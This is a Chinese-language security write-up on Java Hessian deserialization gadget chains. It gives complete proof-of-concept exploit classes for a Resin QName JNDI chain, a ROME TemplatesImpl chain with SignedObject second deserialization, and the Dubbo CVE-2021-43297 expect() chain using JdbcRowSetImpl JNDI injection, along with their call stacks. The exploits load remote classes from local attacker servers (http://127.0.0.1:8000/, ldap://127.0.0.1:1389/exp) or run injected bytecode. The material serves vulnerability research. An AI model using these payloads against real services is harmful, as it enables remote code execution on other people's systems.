13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
package SerializeChains.HessianChains;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;

import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.Reference;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;

public class ResinQnamePoc {
public static void main(String[] args) throws Exception {
/*Hessian2Input#readObject()->
* HashMap#putVal()->
* XString#equals()->
* QName#toString()->
* ContinuationContext#composeName()->
* URLClassLoader#newInstance()
* */

//反射获取ContinuationContext的构造方法
Class<?> cls = Class.forName("javax.naming.spi.ContinuationContext");
Constructor<?> ctor = cls.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
ctor.setAccessible(true);

//分别构造一个CannotProceedException对象和一个Hashtable对象
//配置一个cpe并将恶意的Reference对象加载进去
Reference refObj = new Reference("Exploit","Exploit","http://127.0.0.1:8000/");
CannotProceedException cpe = new CannotProceedException();
cpe.setResolvedObj(refObj);
//实例化一个Hashtable对象
Hashtable<?, ?> hashtable = new Hashtable<>();
Context context = (Context) ctor.newInstance(cpe,hashtable);


QName qname = new QName(context,"aaa","bbb");
String unhash = unhash(qname.hashCode()); //unhash的目的是为了绕过hashmap的hashcode判断,进入equals

//触发toString方法
XString xString = new XString(unhash);
HashMap hashmap1 = new HashMap();
HashMap hashmap2 = new HashMap();
// 这里的顺序很重要,不然在调用equals方法时可能调用的是JSONArray.equals(XString)
hashmap1.put("yy",qname);
hashmap1.put("zZ",xString);
hashmap2.put("yy",xString);
hashmap2.put("zZ",qname);
HashMap map = makeMap(hashmap1,hashmap2);


byte[] poc = Hessian2_serialize(map);
Hessian2_unserialize(poc);
}
public static String unhash ( int hash ) {
int target = hash;
StringBuilder answer = new StringBuilder();
if ( target < 0 ) {
// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");

if ( target == Integer.MIN_VALUE )
return answer.toString();
// Find target without sign bit set
target = target & Integer.MAX_VALUE;
}

unhash0(answer, target);
return answer.toString();
}
private static void unhash0 ( StringBuilder partial, int target ) {
int div = target / 31;
int rem = target % 31;

if ( div <= Character.MAX_VALUE ) {
if ( div != 0 )
partial.append((char) div);
partial.append((char) rem);
}
else {
unhash0(partial, div);
partial.append((char) rem);
}
}
//hashmap的put实际上就是,这个具体用法我也不清楚
public static HashMap<Object, Object> makeMap(Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> map = new HashMap<>();
// 这里是在通过反射添加map的元素,而非put添加元素,因为put添加元素会导致在put的时候就会触发RCE,
// 一方面会导致报错异常退出,代码走不到序列化那里;另一方面如果是命令执行是反弹shell,还可能会导致反弹的是自己的shell而非受害者的shell
setFieldValue(map, "size", 2); //设置size为2,就代表着有两组
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); //通过此处来设置的0组和1组,我去,破案了
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(map, "table", tbl);
return map;
}
public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{
Class c = object.getClass();
Field field = c.getDeclaredField(field_name);
field.setAccessible(true);
field.set(object, field_value);
}

//hessian依赖的序列化
public static byte[] Hessian2_serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(o);
hessian2Output.flush();
return baos.toByteArray();
}

//hessian依赖的反序列化
public static Object Hessian2_unserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}
}

函数调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
newInstance:735, URLClassLoader (java.net)
loadClass:85, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
getContext:439, NamingManager (javax.naming.spi)
getTargetContext:55, ContinuationContext (javax.naming.spi)
composeName:180, ContinuationContext (javax.naming.spi)
toString:353, QName (com.caucho.naming)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:472, AbstractMap (java.util)
putVal:634, HashMap (java.util)
put:611, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:577, SerializerFactory (com.caucho.hessian.io)
readObject:2093, Hessian2Input (com.caucho.hessian.io)
Hessian2_unserialize:134, ResinQnamePoc (SerializeChains.HessianChains)
main:59, ResinQnamePoc (SerializeChains.HessianChains)

TemplatesImpl && SignedObject二次反序列化

JNDI是需要出网才能利用的,那我们还需要另外找到不需要出网的方式

尝试用ROME原生链中的TemplatesImpl链

1
2
3
4
5
6
7
8
9
10
11
12
13
//CC3中TemplatesImpl的利用链加载恶意类字节码
byte[] code = ClassPool.getDefault().get(calc.class.getName()).toBytecode();
TemplatesImpl templates = (TemplatesImpl)getTemplates(code);

//触发ToStringBean#toString
ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class,templates);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

//类似于HashMap的put方法,可以防止提前触发hashCode
HashMap hashMap = makeMap(equalsBean,"aaa");

byte[] bytes = Hessian2_serialize(hashMap);
Hessian2_unserialize(bytes);

但是并没有弹出计算器,这是为什么呢?

问题的出现

这是由于TemplatesImpl类中的被transient修饰的_tfactory属性无法被序列化,从而导致TemplatesImpl类无法初始化的问题

image-20251123193028540

所以这里的_tfactory的值是null

随便找个之前的CC3链子就能看到_tfactory应该是被赋值了的

image-20251123193110503

那又是为什么之前用java原生反序列化的时候可以序列化这个字段呢?

在使用java原生反序列化的时候,如果被反序列化的类重写了readObject方法,那么java就会利用反射去调用这个类的readObject方法

image-20251123194042033

看到TemplatesImpl#readObject

image-20251123194135202

这里手动实例化了一个TransformerFactoryImpl对象并赋值给_tfactory

思路的又现

既然没法利用Hessian2Input.readObject()反序列化这个TemplatesImpl类,那就得重新找一个能反序列化任意类的类了

一个很好的方法就是利用SignedObject进行二次反序列化,SignedObject的构造函数能够序列化一个对象并且存储到content中

image-20251123194557121

在getObject方法中能够反序列化出这个对象

1
2
3
4
5
6
7
8
9
10
11
public Object getObject()
throws IOException, ClassNotFoundException
{
// creating a stream pipe-line, from b to a
ByteArrayInputStream b = new ByteArrayInputStream(this.content);
ObjectInput a = new ObjectInputStream(b);
Object obj = a.readObject();
b.close();
a.close();
return obj;
}

然后通过ToString的toString去调用getObject方法

所以尝试写一下二次反序列化的POC

最终POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
package SerializeChains.HessianChains;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;

public class ROMETemplatesImplPOC {
public static void main(String[] args) throws Exception{
//CC3中TemplatesImpl的利用链加载恶意类字节码
byte[] code = Files.readAllBytes(Paths.get("E:\\java\\JavaSec\\JavaSerialize\\target\\classes\\SerializeChains\\CCchains\\CC3\\POC.class"));
TemplatesImpl templates = (TemplatesImpl)getTemplates(code);


//触发ToStringBean#toString
ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
//ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

//类似于HashMap的put方法,可以防止提前触发hashCode
//HashMap hashMap = makeMap(objectBean,"aaa");
HashMap hashMap = makeMap(equalsBean,"aaa");

//二次反序列化操作
SignedObject signedObject = second_serialize(hashMap);

//toString触发getObject方法
ToStringBean toStringBean2 = new ToStringBean(SignedObject.class,signedObject);
//ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
EqualsBean equalsBean2 = new EqualsBean(ToStringBean.class,toStringBean2);
HashMap hashMap2 = makeMap(equalsBean2,"aaa");

byte[] bytes = Hessian2_serialize(hashMap2);
Hessian2_unserialize(bytes);

}
//二次反序列化函数
public static SignedObject second_serialize(Object o) throws Exception {
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject((Serializable) o, kp.getPrivate(), Signature.getInstance("DSA"));
return signedObject;
}
public static Object getTemplates(byte[] bytes)throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","a");
byte[][] codes = {bytes};
setFieldValue(templates,"_bytecodes",codes);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
return templates;
}

public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{
Field field = object.getClass().getDeclaredField(field_name);
field.setAccessible(true);
field.set(object, field_value);
}

//hessian依赖的序列化
public static byte[] Hessian2_serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.writeObject(o);
hessian2Output.flush();
return baos.toByteArray();
}

//hessian2依赖的反序列化
public static Object Hessian2_unserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
return hessian2Input.readObject();
}
}

image-20251123222944147

函数调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
toString:137, ToStringBean (com.sun.syndication.feed.impl)
toString:116, ToStringBean (com.sun.syndication.feed.impl)
beanHashCode:193, EqualsBean (com.sun.syndication.feed.impl)
hashCode:176, EqualsBean (com.sun.syndication.feed.impl)
hash:338, HashMap (java.util)
readObject:1397, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
getObject:180, SignedObject (java.security)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
toString:137, ToStringBean (com.sun.syndication.feed.impl)
toString:116, ToStringBean (com.sun.syndication.feed.impl)
beanHashCode:193, EqualsBean (com.sun.syndication.feed.impl)
hashCode:176, EqualsBean (com.sun.syndication.feed.impl)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:577, SerializerFactory (com.caucho.hessian.io)
readObject:2093, Hessian2Input (com.caucho.hessian.io)
Hessian2_unserialize:109, ROMETemplatesImplPOC (SerializeChains.HessianChains)
main:52, ROMETemplatesImplPOC (SerializeChains.HessianChains)

Apache Dubbo Hessian2异常处理反序列化漏洞CVE-2021-43297

Dubbo Hessian2是Dubbo 基于原生 Hessian2 进行了 fork 和改造,形成了自己的实现,在com.alibaba.com.caucho.hessian 包下

漏洞原理跟PHP触发__toString一样,是字符串和对象拼接导致隐式触发了该对象的toString方法

Hessian2Input#expect

漏洞点在Hessian2Input#expect

image-20251123224555912

这里可以触发任意类obj的toString

我们看看哪里调用了expect

image-20251123225805795

还是蛮多的,我们看看readString

Hessian2Input#readString

image-20251123230036838

Hessian2Input#readObjectDefinition

image-20251123230205843

readObjectDefinition调用了readString

Hessian2Input#readObject

image-20251123230306869

在readObject(Class cl)中调用了readObjectDefinition

但是这里我们需要让让tag为67(C的ASCII码),可以给序列化得到的bytes数组前加一个67

至此链子就是

最终链子

1
2
3
4
5
6
7
Hessian2Input#readObject()->
Hessian2Input#readObjectDefinition()->
Hessian2Input#readString()->
Hessian2Input#expect()->
ToStringBean#toString()->
JdbcRowSetImpl#getDatabaseMetaData()->
JNDI注入

最终POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package SerializeChains.HessianChains;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.sql.rowset.BaseRowSet;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Method;

public class Expect_To_toString {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://127.0.0.1:1389/exp";
Method setDataSourceName = BaseRowSet.class.getDeclaredMethod("setDataSourceName",String.class);
setDataSourceName.invoke(jdbcRowSet,url);

ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);

byte[] bytes = Hessian2_serialize(toStringBean);
System.out.println("第一个字节: " + bytes[0]); //67
System.out.println("对应字符: " + (char)bytes[0]); //C
Hessian2_unserialize(bytes);
}
//hessian依赖的序列化
public static byte[] Hessian2_serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
//写入一个字节
baos.write(67);
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.writeObject(o);
hessian2Output.flush();
return baos.toByteArray();
}

//hessian2依赖的反序列化
public static Object Hessian2_unserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
return hessian2Input.readObject();
}

}

image-20251123232929814